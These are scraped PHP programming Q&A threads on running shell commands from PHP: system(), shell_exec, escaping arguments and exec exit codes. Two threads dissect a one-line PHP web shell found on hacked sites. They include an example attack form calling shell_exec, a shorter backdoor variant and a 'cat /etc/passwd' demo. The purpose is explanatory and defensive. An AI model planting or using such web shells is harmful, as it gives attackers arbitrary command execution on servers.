Calling perl from php? - php

I have a php script that handles a form input. For design reasons both a bit out of my control, and which I do not entirely wish to change, I have to call a perl script with the parameters specified in the html form.
I sanitized all inputs and then output them to a file called input, which is read by the perl script named, for sake of brevity in this question, script.pl. Script.pl should do some stuff and then write all outputs to a file named output.
I call the perl script from php like so:
system('perl script.pl 2>errors');
No good, nothing happens. output is not created, errors is not created, and the side effect does not occur.
My apache runs as www-data user and group id. My directory is set with 775 settings with ownership as me:www-data. (My user name is replaced with "me" for sakes for privacy).
My question is two fold:
1) Am I doing this wrong? If so how should I improve upon the code?
2) Is there a more sane way to catch errors in system execution?
After programming in perl for a while, php feels like a pain in the ass.
OS: Ubuntu server edition

popen can be used to get the shell's response. that is your best bet. Which can help you debug why system is angry. also, if your pl is saying "hello" and "bye", popen can even read that.
If the command to be executed could not be found, a valid resource is returned. This may seem odd, but makes sense; it allows you to access any error message returned by the shell
Ideally, I would have taken data from stdin and written to stdout. popen would allow neat access to both.
popen('pwd;perl script.pl 2>errors;echo done');
then you can see where were you (directory) when system got called and did it "done".

In the past I have used shell_exec() or backticks to accomplish this.
The documentation for shell_exec's return value indicates it is identical to the backtick operator:
Return Values
The output from the executed command.
Hope that helps.
system() only returns the status code.
$var = shell_exec ("ls");
print $var;
$var = `ls -l`;
print $var;

Is perl in the path? Maybe you need to specify it fully (e.g. /usr/bin/perl). Is system() returning false, indicating a failure? If you try something simpler, like system('/usr/bin/true', $retval), does $retval get set to 1?

Take a look at the PHP system() documentation. The following is the function prototype of system():
string system ( string $command [, int &$return_var ] )
Pass in a 2nd argument and then print out the return string as well as the second variable. See what the error says.

Related

What does this line of PHP code do?

I extracted this from a wordpress-site, that happened to be infected and gets cleaned up by me.
<?php ($_=#$_GET[page]).#$_($_POST[404]);?>
I suspect this line to be SEO spam, but I am not able to get the meaning of this line.
It's a PHP shell. If you rewrite it to the URL file.php?2=shell_exec&1=whoami executes the command whoami on the shell. In your example, one param is passed by POST, one by GET. So it's a bit harder to call.
You could also call other functions with it. The first parameter is always the function name, the second is a parameter for the called function.
Apparently it's explained on http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) but the site doesn't load for me.
/edit: If you have access to the server log files, you can search them to see if the hacker used this shell. A simple egrep "(&|\?)2=.+" logs* on the shell should work. You only see half of the executed command (only the GET, not POST), but maybe this helps to see if the attacker actually used his script.
PS: That was answered before here
Let's break this up a little bit:
($_=#$_GET[page]) . #$_($_POST[404]); First, this is two expressions being concatenated with the period: () . ().
In the first expression, $_ = $_GET[page], $_ is a variable, and is being assigned = to the variable $_GET['page'], or perhaps the output of an anonymous function it references. If $_GET[page] does reference an anonymous function, the # would be suppressing any errors from it.
The second expression, # $_( $_POST[404] ); is starting off with error suppression # of the anonymous function $_, which you can tell now is an anonymous function being called because it's followed by (. The argument passed to this function is $_POST['404'], and then the second parentheses just closes the call.
So I think your suspicions are correct; this looks like obfuscated code intended to look innocuous or part of the site. I suspect that the values for $_GET[page] and $_POST[404] are perhaps javascript strings whose echoing on the page would install malware or adware.
You can debug this more by looking at the values of those two variables and seeing what they are.
As best I can tell without knowing the values in GET and POST, it looks like the variable $_ is being assigned to the string $_GET[page], which would be whatever someone submits in the URL when they load the page. So, they are able to pass the string name of any function to the site and have it in PHP's scope.
Then, they are running that arbitrary function on the $_POST['404'] value. That value also is whatever the browser or user POSTs to the page.
The concatenation and outer parenthesis ().() might just be more obfuscation, or the point of this code might be to simply echo the results of this code on the page (to inject javascript) for example. But, it's also possible they are calling whatever function they want on whatever argument they've passed. I can't tell just by looking, but someone more conversant with PHP probably could.

Found codes left by hacker but don't understand what it does

I found a line of script left by the hacker in one of my PHP files. And it reads like this:
<?php
($_=#$_GET[2]).#$_($_POST[1]);
?>
Can anyone please give some hints about what this line of code does? Thank you
I already posted it as a comment since the question was on hold, here now as an answer:
It's a PHP shell. If you rewrite it to <?php ($_=#$_GET[2]).#$_($_GET[1]); ?> the URL file.php?2=shell_exec&1=whoami executes the command whoami on the shell. In your example, one param is passed by POST, one by GET. So it's a bit harder to call.
You could also call other functions with it. The first parameter is always the function name, the second is a parameter for the called function.
Apparently it's explained on http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) but the site doesn't load for me.
/edit: If you have access to the server log files, you can search them to see if the hacker used this shell. A simple egrep "(&|\?)2=.+" logs* on the shell should work. You only see half of the executed command (only the GET, not POST), but maybe this helps to see if the attacker actually used his script.
As Reeno already said in a comment, it's like a PHP shell.
Explanation
Store the GET variable with the key '2' in a variable called $_. Due to PHP's nature of weak typing, we do not need quotes around the number.
$_=#$_GET[2]
Treat $_ as a callable function name and execute it with $_POST[1] as the first argument.
#$_($_POST[1])
The # operators should suppress error logging, see PHP.net: Error Control Operators.
The concatenation operator between the two statements does actually nothing important. It could be rewritten like this:
$_=#$_GET[2];
#$_($_POST[1]);
Use case
Calling arbitrary functions. I won't mention the specific HTTP headers for a successful attack, but this should be fairly easy for every (web) programmer.
First of all, you must remove those lines as soon as possible.
This code is used to call PHP functions. To give you an example, your hacker will use this kind of form :
<form method="post" action="http://site.com/page.php?2=shell_exec">
<input name="1" value="ipconfig -all"/>
<input type="submit" value="Send"/>
</form>
You'll then get this values :
$_ = $_GET[2] = shell_exec
$_POST[1] = ipconfig -all
$_($_POST[1]) = $_("ipconfig -all") = shell_exec("ipconfig -all")
# are here to disable errors.
A simpler example would be to use this code :
<?= #$_GET['c'](#$_GET['p']); ?>
With a simple call to http://site.com/page.php?c=shell_exec&p=ipconfig%20-all .

PHP $_COOKIE parameter execution

I could not find the reason why my request fail for the following
My php code is:
if (isset($_COOKIE["user"])) {
echo '<p><h3><strong>Welcome '.$_COOKIE["param"].'</strong></h3></p>'; .....
When i request exec('ls -al') as param , the php code did not run the command.
On the response of the request it was like parameterized:
Welcome exec('ls -al')
What may the reason that failed this execution?
$_COOKIE["param"] is a string. You are echoing it. It is not supposed to run anything.
If you wanted to run a command in your PHP, you would have to use eval(). But as for running a command from a cookie value:
DON'T DO IT!
So you're saying that the value of $_COOKIE['param'] is exec('ls -al'), and you're expecting that to run when you echo it out?
That's not how it works. The value of that cookie will be the string value "exec('ls -al')", not the result of the executed code. If you think about it for a second, you'll understand why it would be a bad idea for a cookie to be able to auto-execute code.
It's not really a great idea to be running random commands through exec() anyway, especially if that input came from a user (which cookies do - the user can and will change them to try to attack you).
Instead, you should be using other input that your code can interpret as a signal to run certain code. For example, you could have the param value hold the string list files, and your code would see that value and run exec('ls -al') for you.
You still shouldn't be execing code to do this though, since it's very easy to accidentally run dangerous commands that way. Instead, you should use PHP's built-in functions as much as possible, and only after sanitizing your inputs and only running known values.
For your case, PHP has a bunch of functions that let you interact with the filesystem of your server. Use those to get a list of files on the system instead.

What is the safest way to access CLI program in PHP

I'm writing a PHP library that will need to reach out to the system and access a command line program that doesn't have a PHP interface (or PHP library). As such, I was wondering what is the best (and the safest way) to access the system to retrieve output from a CLI program? I've taken a look at both system() and exec(), but still not sure which is the best to use in a situation like this.
The library will get a string of user-passed text, and transmit it to the command line, retrieving back another string of text. Obviously, with passing user-provided data to the CLI, I will be doing a verification to ensure that no executable data can be passed.
I would suggest shell_exec() together with escapeshellcmd() and escapeshellarg().
To clarify (I was on the go when I first posted this answer): The right way to secure a shell command is:
$exe = 'cat';
$args = array('/etc/passwd');
$args = array_map('escapeshellarg', $args);
$escaped = escapeshellcmd($exe . ' ' . implode(' ', $args));
Here's a legitimate demo (and a nefarious demo as well) of the above code.
The above is just a dummy example, of course. But the main idea is that you apply escapeshellarg() to each argument and then call escapeshellcmd() on the whole command string (including the path to the executable and the previously escaped arguments). This is critical in arbitrary commands.
Note: By secure, I mean making it impossible to perform shell injection attacks by escaping characters that have special meaning like >, <, &&, | and more (see the Wikipedia link) while at the same time properly quoting spaces and other characters that may also have special interpretations by the shell.
With that aside, if you're already white-listing all the commands allowed, you already have the best possible security and you don't need the above functions (althought it doesn't hurt to use them anyway).
Regarding the actual calling function, they all pretty much do the same thing with a few quirks. Personally, I prefer shell_exec() since its return value is more versatile (from this page):
exec(): returns the last line of output from the command and flushes nothing.
shell_exec(): returns the entire output from the command and flushes nothing.
system(): returns the last line of output from the command and tries to flush the output buffer after each line of the output as it goes.
passthru(): returns nothing and passes the resulting output without interference to the browser, especially useful when the output is in binary format.
Except from the system() exit return code, you can mimic the behavior of all the other functions with the return value of shell_exec(). However, the inverse it's either harder to do, or just not possible.
I hope this clears things up for you.
Ideally, you would use passthru() from a pre-defined list of possible inputs (so that if user input == 'operation_a' you can { passthru('operation_a'); } without worrying about sanitizing input). Otherwise, use passthru() with some serious sanitation of input. passthru() allows you to capture the output of the command and pass the whole lump back to the browser. This function is particularly useful if you are expecting binary output (like from image generation, &c.).

What is the PHP exec() return value?

I am trying to use the PHP exec() function.
If the return_var argument is present along with the output argument,
then the return status of the executed command will be written to this
variable.
If the execution was successful, it's 0. However, if there is an error, it can be a multitude of other integers. I can't seem to find anywhere what those integers correspond to. How should I interpret the integer that I get?
Update:
I really should have specified this originally, but I am executing another PHP script. Unlike rsync, which has exit values on its man page, I can't find an equivalent for PHP.
So what I am doing is something like:
$rv = exec('php file.php', $out, $rv);
The return value is dependent on the process/program that you ran with exec. For instance, if you ran grep:
The exit status is 0 if selected lines are found, and 1 if not
found. If an error occurred the exit status is 2. (Note: POSIX
error handling code should check for '2' or greater.)
rsync has about 20 different error exit codes, all painstakingly explained in the man page:
http://linux.die.net/man/1/rsync
so yes, it's program-dependant :)
Even if you're running PHP script, the exit value depends on your program itself. By default php scripts will exit with 0. If you use the exit function you can return different exit codes:
http://php.net/manual/en/function.exit.php
If you want to experimentally determine what your php program exits, call it on the command line:
php file.php
then do
echo $?
this will show you the exit value of your php script.
IMHO, before use exec() function better set output and return_var parameters and read return code execution by return_var.
Don't rely on exec() return value.
Look up the manual page for the command that you are executing. This value has nothing to do with PHP but the actual command.

Categories